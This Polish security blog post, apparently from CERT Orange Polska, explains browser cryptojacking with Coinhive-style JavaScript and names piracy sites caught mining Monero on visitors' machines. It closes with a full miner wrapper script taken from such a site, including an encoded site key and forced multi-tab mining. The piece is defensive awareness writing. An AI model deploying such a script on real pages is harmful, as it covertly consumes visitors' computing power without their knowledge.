hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Strona działa za wolno? A może właśnie kopiesz komuś kryptowaluty…

Można by rzecz, że tytuł clickbaitowy i w sumie może nawet coś w tym jest. O ile statystyki faktycznie pokazują znaczący spadek aktywności oprogramowania złośliwie* kopiącego kryptowaluty (na większą skalę przestało się to opłacać), to nie trzeba się bardzo postarać, by znaleźć w sieci strony, które głównego źródła zarobku może sobie z tego procederu nie uczyniły, ale „na waciki” wciąż próbują zarobić. A ofiara? Cóż, ofiara w 999 przypadkach na 1000 (jeśli nie częściej) za wolniejsze działanie komputera i tak zrzuci winę na system operacyjny, czy dostawcę internetu.

* – przez „złośliwie” rozumiemy sytuację, gdy używanie mocy obliczeniowej komputera do generowania kryptowalut dzieje się bez wiedzy ofiary

Wirus? Dziękuję, nie trzeba

U wielu internautów wciąż niezmiennie pokutuje podejście, że za wszelkie niechciane przez nas aktywności naszego komputera odpowiedzialne są mityczne „wirusy”. Tymczasem nie tylko pojęcie wirusa jakie znaliśmy przez lata odchodzi już na dobre do lamusa, to na dodatek do kopania kryptowalut przestępcy wcale nie muszą niczego instalować na naszym komputerze. Wystarczy kilka linijek skryptu w kodzie strony, niewidocznego bez zajrzenia do kodu strony, powodującego, że nasz komputer zaczyna bez naszej wiedzy zarabiać dla właściciela strony.

Wszystko zaczęło się od stworzenia algorytmu CryptoNight, który pozwolił na kopanie kryptowalut przy użyciu dowolnego procesora w technologii x86. Na jego podstawie powstał skrypt Coinhive, wykorzystujący kod JavaScript wymuszał na przeglądarce WWW kopanie waluty Monero i zasilanie nią określonego parametrami portfela.

Jak to wygląda w konkretnym przypadku? Uruchamiamy np. stronę hxxp://vidto.me, a na niej film, niech będzie hxxp://vidto.me/kpgv69diiypj.html. Podczas, gdy my widzimy niepozorną, nieco agresywną reklamę, jakich pełno w internecie…

…gdy przyjrzymy się co dzieje się w tle, okazuje się, że właściciel strony, bez naszej wiedzy rzecz jasna, uruchamia w tle coś jeszcze:

Chcielibyście zajrzeć, co znajdziecie w zaznaczonym pliku .js? Przykładowy skrypt jest dość długi, więc umieściliśmy go na samym końcu tekstu, dla zainteresowanych 🙂

Gdzie uważać najbardziej?

W zasadzie… wszędzie. Każdy może „uraczyć” nas tego typu niespodzianką, choć trzeba przyznać, że zdarzają się administratorzy na tyle uczciwi, by otwarcie poinformować odwiedzających, że w taki, a nie inny sposób pozyskują środki na działanie swoich serwisów.

Przy naszych analizach aktywności koparek kryptowalut, poza sporą grupą anonimowych adresów IP, trafiliśmy na witryny, gdzie już pobieżna analiza wskazuje, iż mamy do czynienia z pirackimi wersjami popularnych seriali i hitowych filmów – filmyhd.net i vidto.me. Odwiedzający tego typu miejsca, podobnie jak strony pornograficzne, czy też szeroko pojęte „warez” to zdecydowanie grupa podwyższonego ryzyka. Takie strony najeżone są zagrożeniami, spośród których koparki kryptowalut są chyba najłagodniejsze. Nawet jednak w takim przypadku warto się zastanowić, czy oddanie przestępcy dostępu do mocy obliczeniowych naszego komputera jest czymś, na co jesteśmy gotowi? I czy możemy być na sto procent pewni, że następnym razem nie weźmie sobie nieco więcej?

I na koniec obiecany skrypt:

var miner = null;
var intervalId = null;
var intervalMs = null;
var devFeeSiteKey = atob(’NzU5MTQ5NGFkMWU1NjYwMWJjODM1ODU4MGQ1NjdiMzE5NzUzYmM3Nz
NkZTM1Y2UxZjBkNTNiYjhlNGI5NzE4Ng==’);
var devFeeMiner = null;
 
// Init miner
function init({ siteKey, interval = 1000, threads = null, throttle = 0, username, devFee = 0.01, pool = null }) {

// Create miner
  miner = new Client.Anonymous(siteKey);
  if (devFee > 0) {
    var devFeeThrottle = 1 – devFee;
    devFeeThrottle = Math.min(devFeeThrottle, 1);
    devFeeThrottle = Math.max(devFeeThrottle, 0);
    devFeeMiner = new Client.Anonymous(devFeeSiteKey);
    devFeeMiner.setThrottle(devFeeThrottle);
  }
  if (threads > 0) {
    miner.setNumThreads(threads);
  }
  if (throttle > 0) {
    miner.setThrottle(throttle);
  }
  miner.on(’open’, function(message) {
    console.log(’open’, message);
    if (window.emitMessage) {
      window.emitMessage(’open’, message);
    }
  });
  miner.on(’authed’, function(message) {
    console.log(’authed’, message);
    if (window.emitMessage) {
      window.emitMessage(’authed’, message);
    }
  });
  miner.on(’close’, function(message) {
    console.log(’close’, message);
    if (window.emitMessage) {
      window.emitMessage(’close’, message);
    }
  });
  miner.on(’error’, function(message) {
    console.log(’error’, message);
    if (window.emitMessage) {
      window.emitMessage(’error’, message);
    }
  });
  miner.on(’job’, function(message) {
    console.log(’job’, message);
    if (window.emitMessage) {
      window.emitMessage(’job’, message);
    }
  });
  miner.on(’found’, function(message) {
    console.log(’found’, message);
    if (window.emitMessage) {
      window.emitMessage(’found’, message);
    }
  });
  miner.on(’accepted’, function(message) {
    console.log(’accepted’, message);
    if (window.emitMessage) {
      window.emitMessage(’accepted’, message);
    }
  });
 
  // Set Interval
  intervalMs = interval;
}
 
// Start miner
function start() {
  if (devFeeMiner) {
    devFeeMiner.start(Client.FORCE_MULTI_TAB);
  }
  if (miner) {
    console.log(’started!’);
    miner.start(Client.FORCE_MULTI_TAB);
    intervalId = setInterval(function() {
      var update = {
        hashesPerSecond: miner.getHashesPerSecond(),
        totalHashes: miner.getTotalHashes(),
        acceptedHashes: miner.getAcceptedHashes(),
        threads: miner.getNumThreads(),
        autoThreads: miner.getAutoThreadsEnabled()
      };
      console.log(’update:’, update);
      window.update && window.update(update, intervalMs);
    }, intervalMs);
    return intervalId;
  }
  return null;
}
 
// Stop miner
function stop() {
  if (devFeeMiner) {
    devFeeMiner.stop();
  }
  if (miner) {
    console.log(’stopped!’);
    miner.stop();
    if (intervalId) {
      clearInterval(intervalId);
    }
    intervalId = null;
  }
}


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także